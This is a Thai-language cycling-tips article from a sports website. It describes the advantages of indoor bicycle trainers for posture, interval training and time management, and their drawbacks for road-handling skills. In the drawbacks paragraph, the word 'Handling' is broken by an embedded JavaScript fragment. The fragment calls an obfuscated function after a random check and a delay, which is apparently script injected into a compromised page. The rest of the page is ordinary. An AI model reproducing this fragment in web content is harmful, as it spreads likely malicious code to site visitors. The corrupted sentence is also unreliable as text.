• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

Indoor Bike Trainer มีดีกว่าที่คิด

kan by kan
30 October 2019
in Cycling Tips
0
Indoor Bike Trainer มีดีกว่าที่คิด
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ถ้านักวิ่งควรมีอุปกรณ์ฝึกซ้อมที่ควรติดบ้านไว้ คือ ลู่วิ่ง (Treadmill) และนักปั่นแล้ว อุปกรณ์ที่มีควรติดบ้านไว้เหมือนกันคือ Bicycle Trainer หรือเรียกสั้นๆ ว่า trainer

ลักษณะการทำงานนั้นแสนง่าย แค่ยกตัวจักรยานมาประกอบเข้ากับ trainer รุ่นที่มีอยู่ทั่วไปตามท้องตลาดคือ ใช้ล้อจักรยานเดิมๆ สัมผัสกับลูกกลิ้งที่สามารถปรับความเสียดทานหนักเบาได้ และรุ่นแพงๆ ขึ้นก็จะเป็นการดึงเอาโซ่จักรยานมาเกี่ยวกับเฟืองของเทรนเนอร์โดยตรง ทำให้การฝึกมีความเสมือนจริงและการตอบสนองทำได้รวดเร็วมากขึ้น

Indoor Bike Trainer มีดีกว่าที่คิด

ที่ไม่มีสิ่งแวดล้อม outdoor อย่าง ลม พื้นถนน และนักปั่นรอบข้างมารบกวน ถ้ามีเวลาฝึก 60 นาที เราจะใช้เวลา indoor 60 นาทีได้เต็มที่มากกว่าการฝึก outdoor 60 นาที และฟีเจอร์อื่นๆ ของเทรนเนอร์ ช่วยในการปรับความหน่วงเบาเหมือนกับการปั่นไต่ความชันหรือปรับเกียร์สูงต่ำ

Technogym

2. ช่วยปั่น Posture และ pedal stroke เพราะเวลาการปั่น indoor จะสามารถตั้งสมาธิจดจ่อกับการจัดระเบียบร่างกาย การกดน้ำหนักลงฝ่าเท้า และ feeling ของการควงขาได้ดีขึ้น ไม่ต้องเสียเวลาไปปรับตัวตามสภาพแวดล้อม outdoor อย่างการหลบหลีกหลุมบ่อ เป็นต้น นักปั่นสามารถส่องกระจกมองท่าปั่นของตัวเองและค่อยๆ ปรับให้ถูกต้อง การปั่น indoor กับเทรนเนอร์ จะสามารถส่ง feedback ได้ทันที มองปุ๊บก็รู้ปั๊บว่าเราผิดตรงไหน

3. ดีต่อการฝึก Interval มาก เพราะสามารถความคุมจังหวะเวลา อัตราการเต้นของหัวใจ และความหนักหน่วงของการใส่เกียร์ที่จะมีผลต่อรอบขาได้ดี

4. บริหารเวลาได้ดี ใช้เวลาน้อย ไม่ว่าจะเวลาที่ใช้ในการเตรียมตัวที่น้อยลง ออกแบบแผนการฝึกได้กว้างและควบคุมได้ดี

cycleops.com

นอกจากการใช้ง่ายและสะดวก เป็นอุปกรณ์ออกกำลังกายที่กินพื้นที่น้อย สามารถใช้งานได้ทุกที่ทุกเวลา จะปั่นไปดูทีวีไปก็ยังได้ ข้อดีของการปั่น Bicycle Trainer อื่นๆ คือ…ช่วยลดหุ่นได้ การผสมความหนักเบาในการปั่นช่วยให้คุณเผาผลาญพลังงานแคลอรี่ได้เพิ่มขึ้น เหมาะสำหรับคนทุกเพศทุกวัย เป็นกีฬาประเภท Low-impact ไม่มีการเจ็บตัวแน่นอน นักออกกำลังกายมือใหม่จนถึงมือเก๋าสามารถใช้ได้หมด ไม่ว่าใช้สร้างความฟิตหรือรักษาความฟิต

แต่ข้อเสียของการฝึก ก็มีเช่นกัน อย่างเช่น เทคนิคการ Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling การปรับเปลี่ยนจังหวะเกียร์ การเข้าโค้งเลี้ยวต่างๆ การปรับเกียร์ตามสภาพพื้นผิวถนนและแรงลม ที่ไม่ได้ฝึกในสภาพจริง การยืนปั่นเร่งความเร็วหรือระหว่างไต่เขา เป็นต้น  

อ้างอิง www.cycleops.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.